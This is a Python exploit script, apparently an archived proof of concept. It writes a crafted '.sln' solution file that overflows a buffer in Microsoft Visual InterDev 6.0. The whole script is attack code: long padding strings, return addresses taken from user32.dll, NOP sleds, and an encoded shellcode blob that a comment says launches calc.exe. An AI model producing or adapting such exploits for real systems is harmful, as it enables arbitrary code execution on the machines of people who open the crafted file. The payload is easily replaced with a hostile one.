mssln-overflow.txt

`#usage: exploit.py FileName  
  
import sys  
  
print "------------------------------------------------------------------------"  
print ' Microsoft Visual InterDev 6.0 (SP6) ".sln" files Local Buffer Overflow'  
print " author: shinnai"  
print " mail: shinnai[at]autistici[dot]org"  
print " site: http://shinnai.altervista.org\n"  
print " I really have much fun exploiting this one :)"  
print " We need to patch five exceptions before we can have EIP:\n"  
print " #7C80A268 8801 MOV BYTE PTR DS:[ECX],AL"  
print " #ECX 42424242 <-- to patch with jumper 0x7E3FBEFF"  
print "------------------------------------------------------------------------"  
  
buff = "A" * 1764  
  
jumper = "\xFF\xBE\x3F\x7E" #call ESP from user32.dll  
  
buff2 = "A" * 4  
  
buff3 = "A" * 24  
  
buff4 = "A" * 16  
  
buff5 = "A" * 4  
  
nop = "\x90\x90\x90\x90"  
  
shellcode = \  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+\  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+\  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+\  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+\  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"+\  
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"+\  
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"+\  
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"+\  
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"+\  
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"+\  
"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"+\  
"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"+\  
"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"+\  
"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"+\  
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"+\  
"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"+\  
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"+\  
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"+\  
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"+\  
"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"+\  
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"+\  
"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"  
  
#execute calc.exe  
  
buff6 = "A" * 8  
  
get_EIP = "\xFF\xB9\x3F\x7E" #call EBP from user32.dll  
  
buff7 = "A" * 56  
  
try:  
sln_file = \  
'Microsoft Visual Studio Solution File, Format Version 1.00\n'+\  
'Project("{00000000-0000-0000-0000-000000000000}") = "CAB2", "' + buff + jumper + buff2 + jumper + buff3 + jumper + buff4 + jumper + buff5 + nop + shellcode + nop + '", "' + jumper + buff6 + get_EIP + buff7 + '"\n'+\  
'EndProject\n'+\  
'Global\n'+\  
' GlobalSection(LocalDeployment) = postSolution\n'+\  
' StartupProject = {00000000-0000-0000-0000-000000000000}\n'+\  
' EndGlobalSection\n'+\  
' GlobalSection(BuildOrder) = postSolution\n'+\  
' 0 = {00000000-0000-0000-0000-000000000000}\n'+\  
' EndGlobalSection\n'+\  
' GlobalSection(DeploymentRoot) = postSolution\n'+\  
' EndGlobalSection\n'+\  
'VersionCompanyName="xxx"\n'+\  
'EndGlobal'  
  
out_file = open(sys.argv[1] + ".sln",'w')  
out_file.write(sln_file)  
out_file.close()  
print "\nFILE CREATION COMPLETED!\n"  
except:  
print " \n -------------------------------------"  
print " Usage: exploit.py FileName"  
print " -------------------------------------"  
print "\nAN ERROR OCCURS DURING FILE CREATION!"  
`